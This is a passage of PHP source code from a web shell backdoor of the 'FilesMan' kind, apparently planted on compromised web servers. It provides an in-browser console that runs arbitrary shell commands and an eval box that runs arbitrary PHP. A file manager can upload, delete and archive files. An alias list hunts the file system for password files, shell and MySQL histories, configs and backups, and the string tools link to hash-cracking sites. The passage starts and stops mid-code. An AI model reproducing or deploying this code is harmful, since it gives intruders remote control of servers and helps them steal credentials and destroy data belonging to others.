service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\t\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\tif( isset($_POST[\'ajax\']) ) {\r\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\r\n\t\tob_start();\r\n\t\teval($_POST[\'p1\']);\r\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit; \r\n\t}\r\n\thardHeader();\r\n\tif( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {\r\n\t\techo \'<h1>PHP info</h1><div class=content>\';\r\n\t\tob_start();\r\n\t\tphpinfo();\r\n\t\t$tmp = ob_get_clean();\r\n\t\t$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);\r\n\t\t$tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp);\r\n\t\t$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);\r\n\t\t$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\n\t\t$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);\r\n\t\techo $tmp;\r\n\t\techo \'</div><br>\';\r\n\t}\r\n\tif(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\r\n\t\techo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\r\n\techo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tob_start();\r\n\t\teval($_POST[\'p1\']);\r\n\t\techo htmlspecialchars(ob_get_clean());\r\n\t}\r\n\techo \'</pre></div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n    \r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$▟ = $path.$▟;\r\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($▟);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($▟);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($▟);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\n    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\r\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\r\n\tif(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\r\n\tif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\r\n\t$stringTools = array(\r\n\t\t\'Base64 encode\' => \'base64_encode\',\r\n\t\t\'Base64 decode\' => \'base64_decode\',\r\n\t\t\'Url encode\' => \'urlencode\',\r\n\t\t\'Url decode\' => \'urldecode\',\r\n\t\t\'Full urlencode\' => \'full_urlencode\',\r\n\t\t\'md5 hash\' => \'md5\',\r\n\t\t\'sha1 hash\' => \'sha1\',\r\n\t\t\'crypt\' => \'crypt\',\r\n\t\t\'CRC32\' => \'crc32\',\r\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\r\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\r\n\t\t\'HEX to DEC\' => \'hexdec\',\r\n\t\t\'HEX to BIN\' => \'hex2bin\',\r\n\t\t\'DEC to HEX\' => \'dechex\',\r\n\t\t\'DEC to BIN\' => \'decbin\',\r\n\t\t\'BIN to HEX\' => \'binhex\',\r\n\t\t\'BIN to DEC\' => \'bindec\',\r\n\t\t\'String to lower case\' => \'strtolower\',\r\n\t\t\'String to upper case\' => \'strtoupper\',\r\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\r\n\t\t\'String length\' => \'strlen\',\r\n\t);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\r\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\r\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n\techo \'<h1>String conversions</h1><div class=content>\';\r\n\techo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><label><select name=\'selectTool\'>";\r\n\tforeach($stringTools as $k => $v)\r\n\t\techo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\r\n\t\techo "</select></label><input type=\'submit\' value=\'submit\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\r\n\t}\r\n\techo"</pre></div><br><h1>Search files:</h1><div class=content>\r\n\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\r\n\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\r\n\t\t\t<tr><td></td><td><input type=\'submit\' value=\'submit\'></td></tr>\r\n\t\t\t</table></form>";\r\n\tfunction hardRecursiveGlob($path) {\r\n\t\tif(substr($path, -1) != \'/\')\r\n\t\t\t$path.=\'/\';\r\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\r\n\t\tif(is_array($paths)&&@count($paths)) {\r\n\t\t\tforeach($paths as $▟) {\r\n\t\t\t\tif(@is_dir($▟)){\r\n\t\t\t\t\tif($path!=$▟)\r\n\t\t\t\t\t\thardRecursiveGlob($▟);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($▟), $_POST[\'p2\'])!==false)\r\n\t\t\t\t\t\techo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($▟)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($▟)."</a><br>";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(@$_POST[\'p3\'])\r\n\t\thardRecursiveGlob($_POST[\'c\']);\r\n\techo "</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\r\n\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\r\n            <input type=\'hidden\' name=\'act\' value=\'find\'/>\r\n\t\t\t<input type=\'submit\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'https://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\r\n            <input type=\'submit\' value=\'fakenamegenerator.com\' onclick=\\"document.hf.action=\'https://www.fakenamegenerator.com/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'hashcrack.com\' onclick=\\"document.hf.action=\'https://www.hashcrack.com/index.php\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'toolki.com\' onclick=\\"document.hf.action=\'https://toolki.com/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'fopo.com.ar\' onclick=\\"document.hf.action=\'https://fopo.com.ar/\';document.hf.submit()\\"><br>\r\n\t\t\t<input type=\'submit\' value=\'md5decrypter.com\' onclick=\\"document.hf.action=\'https://www.md5decrypter.com/\';document.hf.submit()\\"><br>\r\n\t\t</form></div>";\r\n\thardFooter();\r\n}\r\nfunction actionSafeMode() {\r\n\t$temp=\'\';\r\n\tob_start();\r\n\tswitch($_POST[\'p1\']) {\r\n\t\tcase 1:\r\n\t\t\t$temp=@tempnam($test, 